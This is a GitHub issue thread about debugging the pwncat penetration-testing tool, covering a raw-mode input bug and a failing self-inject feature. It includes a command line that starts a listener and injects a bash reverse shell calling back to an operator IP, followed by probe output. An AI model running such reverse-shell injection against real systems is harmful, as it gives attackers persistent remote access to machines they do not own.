Closed dalemazza closed 4 years ago
@dalemazza Thanks for creating this issue. I can reproduce this myself and will start looking into it.
Amazing! I'm glad it wasn't just my end. Such a fantastic tool!
Some heads-up here:
It is supposedly this line which is causing the issue (I am reading line-wise): https://github.com/cytopia/pwncat/blob/master/bin/pwncat#L3072
In raw mode, it doesn't send lines, but single characters instead, so it's waiting forever until \n
appears (which also doesn't work with Enter). Will need to make the following changes:
@dalemazza I've created a fix that works for me (it's not yet released to PIP yet).
release-0.0.23
You can try it out via:
git clone https://github.com/cytopia/pwncat
cd pwncat
git checkout release-0.0.23
pip install .
Please let me know how that works for you.
@cytopia Thanks for the quick turn around.
Have just tested my end and it is working now!
As you can see on the screenshot it works! Also do you have any idea why it does not pick up any python versions installed when it clearly has python installed on the box?
Also do you have any idea why it does not pick up any python versions installed when it clearly has python installed on the box?
Is that the same behaviour as with the previous version?
yes it is. I have never managed to get it to find a python version and use the inject function yet, despite knowing that the python is installed int the directories it probes for?
Can you paste the full out when it is probing for Python versions.
kali@kali:/opt/pwncat$ pwncat -l 1234 --self-inject /bin/bash:10.9.33.138:1234
[PWNCAT CnC] Probing for: /bin/python
[PWNCAT CnC] Probing for: /bin/python2
[PWNCAT CnC] Probing for: /bin/python2.7
[PWNCAT CnC] Probing for: /bin/python3
[PWNCAT CnC] Probing for: /bin/python3.5
[PWNCAT CnC] Probing for: /bin/python3.6
[PWNCAT CnC] Probing for: /bin/python3.7
[PWNCAT CnC] Probing for: /bin/python3.8
[PWNCAT CnC] Probing for: /usr/bin/python
[PWNCAT CnC] Probing for: /usr/bin/python2
[PWNCAT CnC] Probing for: /usr/bin/python2.7
[PWNCAT CnC] Probing for: /usr/bin/python3
[PWNCAT CnC] Probing for: /usr/bin/python3.5
[PWNCAT CnC] Probing for: /usr/bin/python3.6
[PWNCAT CnC] Probing for: /usr/bin/python3.7
[PWNCAT CnC] Probing for: /usr/bin/python3.8
[PWNCAT CnC] Probing for: /usr/local/bin/python
[PWNCAT CnC] Probing for: /usr/local/bin/python2
[PWNCAT CnC] Probing for: /usr/local/bin/python2.7
[PWNCAT CnC] Probing for: /usr/local/bin/python3
[PWNCAT CnC] Probing for: /usr/local/bin/python3.5
[PWNCAT CnC] Probing for: /usr/local/bin/python3.6
[PWNCAT CnC] Probing for: /usr/local/bin/python3.7
[PWNCAT CnC] Probing for: /usr/local/bin/python3.8
[PWNCAT CnC] Probing for: /usr/local/python/bin/python
[PWNCAT CnC] Probing for: /usr/local/python/bin/python2
[PWNCAT CnC] Probing for: /usr/local/python/bin/python2.7
[PWNCAT CnC] Probing for: /usr/local/python/bin/python3
[PWNCAT CnC] Probing for: /usr/local/python/bin/python3.5
[PWNCAT CnC] Probing for: /usr/local/python/bin/python3.6
[PWNCAT CnC] Probing for: /usr/local/python/bin/python3.7
[PWNCAT CnC] Probing for: /usr/local/python/bin/python3.8
[PWNCAT CnC] Probing for: /usr/local/python2/bin/python
[PWNCAT CnC] Probing for: /usr/local/python2/bin/python2
[PWNCAT CnC] Probing for: /usr/local/python2/bin/python2.7
[PWNCAT CnC] Probing for: /usr/local/python2/bin/python3
[PWNCAT CnC] Probing for: /usr/local/python2/bin/python3.5
[PWNCAT CnC] Probing for: /usr/local/python2/bin/python3.6
[PWNCAT CnC] Probing for: /usr/local/python2/bin/python3.7
[PWNCAT CnC] Probing for: /usr/local/python2/bin/python3.8
[PWNCAT CnC] Probing for: /usr/local/python2.7/bin/python
[PWNCAT CnC] Probing for: /usr/local/python2.7/bin/python2
[PWNCAT CnC] Probing for: /usr/local/python2.7/bin/python2.7
[PWNCAT CnC] Probing for: /usr/local/python2.7/bin/python3
[PWNCAT CnC] Probing for: /usr/local/python2.7/bin/python3.5
[PWNCAT CnC] Probing for: /usr/local/python2.7/bin/python3.6
[PWNCAT CnC] Probing for: /usr/local/python2.7/bin/python3.7
[PWNCAT CnC] Probing for: /usr/local/python2.7/bin/python3.8
[PWNCAT CnC] Probing for: /usr/local/python3/bin/python
[PWNCAT CnC] Probing for: /usr/local/python3/bin/python2
[PWNCAT CnC] Probing for: /usr/local/python3/bin/python2.7
[PWNCAT CnC] Probing for: /usr/local/python3/bin/python3
[PWNCAT CnC] Probing for: /usr/local/python3/bin/python3.5
[PWNCAT CnC] Probing for: /usr/local/python3/bin/python3.6
[PWNCAT CnC] Probing for: /usr/local/python3/bin/python3.7
[PWNCAT CnC] Probing for: /usr/local/python3/bin/python3.8
[PWNCAT CnC] Probing for: /usr/local/python3.5/bin/python
[PWNCAT CnC] Probing for: /usr/local/python3.5/bin/python2
[PWNCAT CnC] Probing for: /usr/local/python3.5/bin/python2.7
[PWNCAT CnC] Probing for: /usr/local/python3.5/bin/python3
[PWNCAT CnC] Probing for: /usr/local/python3.5/bin/python3.5
[PWNCAT CnC] Probing for: /usr/local/python3.5/bin/python3.6
[PWNCAT CnC] Probing for: /usr/local/python3.5/bin/python3.7
[PWNCAT CnC] Probing for: /usr/local/python3.5/bin/python3.8
[PWNCAT CnC] Probing for: /usr/local/python3.6/bin/python
[PWNCAT CnC] Probing for: /usr/local/python3.6/bin/python2
[PWNCAT CnC] Probing for: /usr/local/python3.6/bin/python2.7
[PWNCAT CnC] Probing for: /usr/local/python3.6/bin/python3
[PWNCAT CnC] Probing for: /usr/local/python3.6/bin/python3.5
[PWNCAT CnC] Probing for: /usr/local/python3.6/bin/python3.6
[PWNCAT CnC] Probing for: /usr/local/python3.6/bin/python3.7
[PWNCAT CnC] Probing for: /usr/local/python3.6/bin/python3.8
[PWNCAT CnC] Probing for: /usr/local/python3.7/bin/python
[PWNCAT CnC] Probing for: /usr/local/python3.7/bin/python2
[PWNCAT CnC] Probing for: /usr/local/python3.7/bin/python2.7
[PWNCAT CnC] Probing for: /usr/local/python3.7/bin/python3
[PWNCAT CnC] Probing for: /usr/local/python3.7/bin/python3.5
[PWNCAT CnC] Probing for: /usr/local/python3.7/bin/python3.6
[PWNCAT CnC] Probing for: /usr/local/python3.7/bin/python3.7
[PWNCAT CnC] Probing for: /usr/local/python3.7/bin/python3.8
[PWNCAT CnC] Probing for: /usr/local/python3.8/bin/python
[PWNCAT CnC] Probing for: /usr/local/python3.8/bin/python2
[PWNCAT CnC] Probing for: /usr/local/python3.8/bin/python2.7
[PWNCAT CnC] Probing for: /usr/local/python3.8/bin/python3
[PWNCAT CnC] Probing for: /usr/local/python3.8/bin/python3.5
[PWNCAT CnC] Probing for: /usr/local/python3.8/bin/python3.6
[PWNCAT CnC] Probing for: /usr/local/python3.8/bin/python3.7
[PWNCAT CnC] Probing for: /usr/local/python3.8/bin/python3.8
[PWNCAT CnC] Probing for: /opt/bin/python
[PWNCAT CnC] Probing for: /opt/bin/python2
[PWNCAT CnC] Probing for: /opt/bin/python2.7
[PWNCAT CnC] Probing for: /opt/bin/python3
[PWNCAT CnC] Probing for: /opt/bin/python3.5
[PWNCAT CnC] Probing for: /opt/bin/python3.6
[PWNCAT CnC] Probing for: /opt/bin/python3.7
[PWNCAT CnC] Probing for: /opt/bin/python3.8
[PWNCAT CnC] Probing for: /opt/python/bin/python
[PWNCAT CnC] Probing for: /opt/python/bin/python2
[PWNCAT CnC] Probing for: /opt/python/bin/python2.7
[PWNCAT CnC] Probing for: /opt/python/bin/python3
[PWNCAT CnC] Probing for: /opt/python/bin/python3.5
[PWNCAT CnC] Probing for: /opt/python/bin/python3.6
[PWNCAT CnC] Probing for: /opt/python/bin/python3.7
[PWNCAT CnC] Probing for: /opt/python/bin/python3.8
[PWNCAT CnC] Probing for: /opt/python2/bin/python
[PWNCAT CnC] Probing for: /opt/python2/bin/python2
[PWNCAT CnC] Probing for: /opt/python2/bin/python2.7
[PWNCAT CnC] Probing for: /opt/python2/bin/python3
[PWNCAT CnC] Probing for: /opt/python2/bin/python3.5
[PWNCAT CnC] Probing for: /opt/python2/bin/python3.6
[PWNCAT CnC] Probing for: /opt/python2/bin/python3.7
[PWNCAT CnC] Probing for: /opt/python2/bin/python3.8
[PWNCAT CnC] Probing for: /opt/python2.7/bin/python
[PWNCAT CnC] Probing for: /opt/python2.7/bin/python2
[PWNCAT CnC] Probing for: /opt/python2.7/bin/python2.7
[PWNCAT CnC] Probing for: /opt/python2.7/bin/python3
[PWNCAT CnC] Probing for: /opt/python2.7/bin/python3.5
[PWNCAT CnC] Probing for: /opt/python2.7/bin/python3.6
[PWNCAT CnC] Probing for: /opt/python2.7/bin/python3.7
[PWNCAT CnC] Probing for: /opt/python2.7/bin/python3.8
[PWNCAT CnC] Probing for: /opt/python3/bin/python
[PWNCAT CnC] Probing for: /opt/python3/bin/python2
[PWNCAT CnC] Probing for: /opt/python3/bin/python2.7
[PWNCAT CnC] Probing for: /opt/python3/bin/python3
[PWNCAT CnC] Probing for: /opt/python3/bin/python3.5
[PWNCAT CnC] Probing for: /opt/python3/bin/python3.6
[PWNCAT CnC] Probing for: /opt/python3/bin/python3.7
[PWNCAT CnC] Probing for: /opt/python3/bin/python3.8
[PWNCAT CnC] Probing for: /opt/python3.5/bin/python
[PWNCAT CnC] Probing for: /opt/python3.5/bin/python2
[PWNCAT CnC] Probing for: /opt/python3.5/bin/python2.7
[PWNCAT CnC] Probing for: /opt/python3.5/bin/python3
[PWNCAT CnC] Probing for: /opt/python3.5/bin/python3.5
[PWNCAT CnC] Probing for: /opt/python3.5/bin/python3.6
[PWNCAT CnC] Probing for: /opt/python3.5/bin/python3.7
[PWNCAT CnC] Probing for: /opt/python3.5/bin/python3.8
[PWNCAT CnC] Probing for: /opt/python3.6/bin/python
[PWNCAT CnC] Probing for: /opt/python3.6/bin/python2
[PWNCAT CnC] Probing for: /opt/python3.6/bin/python2.7
[PWNCAT CnC] Probing for: /opt/python3.6/bin/python3
[PWNCAT CnC] Probing for: /opt/python3.6/bin/python3.5
[PWNCAT CnC] Probing for: /opt/python3.6/bin/python3.6
[PWNCAT CnC] Probing for: /opt/python3.6/bin/python3.7
[PWNCAT CnC] Probing for: /opt/python3.6/bin/python3.8
[PWNCAT CnC] Probing for: /opt/python3.7/bin/python
[PWNCAT CnC] Probing for: /opt/python3.7/bin/python2
[PWNCAT CnC] Probing for: /opt/python3.7/bin/python2.7
[PWNCAT CnC] Probing for: /opt/python3.7/bin/python3
[PWNCAT CnC] Probing for: /opt/python3.7/bin/python3.5
[PWNCAT CnC] Probing for: /opt/python3.7/bin/python3.6
[PWNCAT CnC] Probing for: /opt/python3.7/bin/python3.7
[PWNCAT CnC] Probing for: /opt/python3.7/bin/python3.8
[PWNCAT CnC] Probing for: /opt/python3.8/bin/python
[PWNCAT CnC] Probing for: /opt/python3.8/bin/python2
[PWNCAT CnC] Probing for: /opt/python3.8/bin/python2.7
[PWNCAT CnC] Probing for: /opt/python3.8/bin/python3
[PWNCAT CnC] Probing for: /opt/python3.8/bin/python3.5
[PWNCAT CnC] Probing for: /opt/python3.8/bin/python3.6
[PWNCAT CnC] Probing for: /opt/python3.8/bin/python3.7
[PWNCAT CnC] Probing for: /opt/python3.8/bin/python3.8
[PWNCAT CnC] No Python has been found. Aborting and handing over to current shell.
$
$ which python
/usr/bin/python
python is installed as i used it to upgrade the shell
Can you run your local command again in verbose mode (and paste the output here):
pwncat -l 1234 --self-inject /bin/bash:10.9.33.138:1234 -vvvvv
And also let me know what your python version on your system is
I moved this self-inject issue over to here: https://github.com/cytopia/pwncat/issues/83
Moved comment here: https://github.com/cytopia/pwncat/issues/83
ISSUE TYPE
unsure if this is me doing something wrong but i and a few others i know have this issue thanks